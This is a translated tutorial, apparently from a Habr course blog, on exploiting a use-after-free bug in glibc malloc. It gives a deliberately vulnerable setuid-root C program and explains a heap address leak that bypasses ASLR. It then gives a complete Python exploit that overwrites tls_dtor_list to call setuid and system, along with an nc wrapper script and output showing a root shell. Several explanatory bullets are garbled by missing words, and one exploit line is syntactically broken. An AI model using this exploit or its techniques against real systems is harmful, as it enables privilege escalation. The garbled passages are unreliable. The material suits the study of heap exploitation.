Use-After-Free vulnerability

Hello habr! On the eve of the start of the advanced course "Reverse Engineering", we have prepared another interesting translation for you. Let's start!







Prerequisites:



  1. Off-By-One vulnerability
  2. Understanding work mallocinglibc


Virtual machine configuration: Fedora 20 (x86).



What is Use-After-Free (UaF)?



The Use-After-Free bug occurs if the heap pointer continues to be used after it has been freed. Such a vulnerability could lead to the execution of derived code.



Vulnerable code:



#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)

int main(int argc, char **argv) {

 char* name = malloc(12); /* [1] */
 char* details = malloc(12); /* [2] */
 strncpy(name, argv[1], 12-1); /* [3] */
 free(details); /* [4] */
 free(name);  /* [5] */
 printf("Welcome %s\n",name); /* [6] */
 fflush(stdout);

 char* tmp = (char *) malloc(12); /* [7] */
 char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
 char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
 free(p2); /* [10] */
 char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
 char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */

 printf("Enter your region\n");
 fflush(stdout);
 read(0,p2,BUFSIZE1-1); /* [13] */
 printf("Region:%s\n",p2); 
 free(p1); /* [14] */
}


Compilation commands:



#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln


Note : Compared to the previous article , here ASLR is enabled. Now let's take advantage of the UaF bug, and since ASLR is enabled, let's work around it with information leaks and brute-force.
In the code above, the use-after-free vulnerabilities are found in lines [6] and [13]. The corresponding heap memories are freed in lines [5] and [10], but their pointers are used after the deallocation in lines [6] and [13]! UaF in line [6] leads to information leakage, in line [13] - to arbitrary code execution.



What is information leak? How can an attacker exploit it?



In the vulnerable code above (on line [6]), the leak occurs at the heap address. A leaked heap address will help an attacker to easily figure out the randomly allocated heap segment address, thereby bypassing the ASLR.



To understand how a heap address leak occurs, let's first understand the first half of the vulnerable code.



  • Line [1] allocates 16 bytes of heap memory for "name" .
  • [2] 16 «details».
  • [3] 1 (argv[1]) «name».
  • [4] [5] «name» «details» glibc malloc.
  • Printf [6] «name» , .


After reading the article in the Prerequisites section, we know that the chunks corresponding to the “name” and “details” pointers are fast chunks, which are stored at index zero in fast cells when released . We also know that each fast cell contains a singly linked list of free chunks. Thus, returning to our example, a singly linked list at index zero in a fast cell looks like the following:



main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL


Because of the singularity, the first 4 bytes of "name" contain the address of "details_chunk" . Thus, when "name" is displayed, the address of "details_chunk" is displayed first . Based on the heap layout, we know that "details_chunk" is offset 0x10 from the base heap address. So subtracting 0x10 from the leaked heap address will give us its base address!



How is arbitrary code execution achieved?



Now that we have the base address of the heap segment, let's see how to execute arbitrary code by looking at the second half of our example.



  • Line [7] allocates a 16 byte heap memory for "tmp" .
  • [8] 1024 «p1».
  • [9] 1024 «p2».
  • [10] «p2» glibc malloc.
  • [11] 512 «p2_1».
  • [12] 512 «p2_2».
  • Read [13] «p2» .
  • [14] «p1» glibc malloc, .


After reading the article in the Prerequisites section , we know that when "p2" is released in glibc malloc, it is consolidated into a top chunk. Later, when the memory for "p2_1" is requested , it is allocated from the top chunk and "p2" and "p2_2" have the same heap address. Further, when memory for "p2_2" is requested , it is allocated from the top-chunk and "p2_2" is 512 bytes away from "p2" . So when the pointer "p2"is used after being freed in line [13], the data controlled by the attacker (maximum 1019 bytes) is copied into "p2_1" , which is only 512 bytes in size, and therefore the remaining data of the attacker overwrites the next chunk "p2_2" , giving the attacker the opportunity to overwrite the field the size of the next chunk header.



Heap schema:







As we know from the article in the Prerequisites section , if an attacker can successfully overwrite the LSB of the next chunk size field, he can cheat glibc mallocto break the connection with the p2_1 chunk even if it is in an allocated state. Also in that articleWe have seen that detaching a large chunk in an allocated state can lead to arbitrary code execution if an attacker has carefully tampered with the chunk header. The attacker creates a fake chunk header as shown below:



  • fdshould point to a freed chunk address. From the heap diagram, we can see that "p2_1" is at offset 0x410. From here, fd = heap_base_address(which was received due to the leak) + 0x410.
  • bkshould also point to a freed chunk address. From the heap diagram, we can see that "p2_1" is at offset 0x410. Hence, fd = heap_base_address(which was gotten due to the leak) + 0x410.
  • fd_nextsize tls_dtor_list – 0x14. «tls_dtor_list» private anonymous mapping glibc. , , .
  • bk_nextsize , «dtor_list». «system» dtor_list , «setuid» dtor_list «p2_2». , dtor_list 0x428 0x618 .


Now that we have all this information, we can write an exploit to attack the vulnerable "vuln" binary .



Exploit code:



#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time

ip = '127.0.0.1'
port = 1234

def conv(num): return struct.pack("<I
def send(data):
 global con
 con.write(data)
 return con.read_until('\n')

print "** Bruteforcing libc base address**"
libc_base_addr = 0xb756a000
fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
system = libc_base_addr + 0x3e6e0
system_arg = 0x80482ae
size = 0x200
setuid = libc_base_addr + 0xb9e30
setuid_arg = 0x0

while True:
 time.sleep(4)
 con = telnetlib.Telnet(ip, port)
 laddress = con.read_until('\n')
 laddress = laddress[8:12]
 heap_addr_tup = struct.unpack("<I", laddress)
 heap_addr = heap_addr_tup[0]
 print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
 heap_base_addr = heap_addr - 0x10
 fd = heap_base_addr + 0x410
 bk = fd
 bk_nextsize = heap_base_addr + 0x618
 mp = heap_base_addr + 0x18
 nxt = heap_base_addr + 0x428

 print "** Constructing fake chunk to overwrite tls_dtor_list**"
 fake_chunk = conv(fd)
 fake_chunk += conv(bk)
 fake_chunk += conv(fd_nextsize)
 fake_chunk += conv(bk_nextsize)
 fake_chunk += conv(system)
 fake_chunk += conv(system_arg)
 fake_chunk += "A" * 484
 fake_chunk += conv(size)
 fake_chunk += conv(setuid)
 fake_chunk += conv(setuid_arg)
 fake_chunk += conv(mp)
 fake_chunk += conv(nxt)
 print "** Successful tls_dtor_list overwrite gives us shell!!**"
 send(fake_chunk)

 try: 
  con.interact()
 except: 
  exit(0)


Since we need several attempts during brute-force (until we succeed), let's run our vulnerable "vuln" binary as a network server and use a shell script to make sure that it automatically restarts when it crashes.



#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
 if [[ -z $nc_process_id ]]; then
 echo "(Re)starting nc..."
 nc -l -p 1234 -c "./vuln sploitfun"
 else
 echo "nc is running..."
 fi
done


Executing the exploit code above will give you root privileges in the shell. Happened!



Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$


A source:



1. Revisiting Defcon CTF Shitsco Use-After-Free Vulnerability - Remote Code Execution






Bootkit analysis. Free lesson






Read more:






All Articles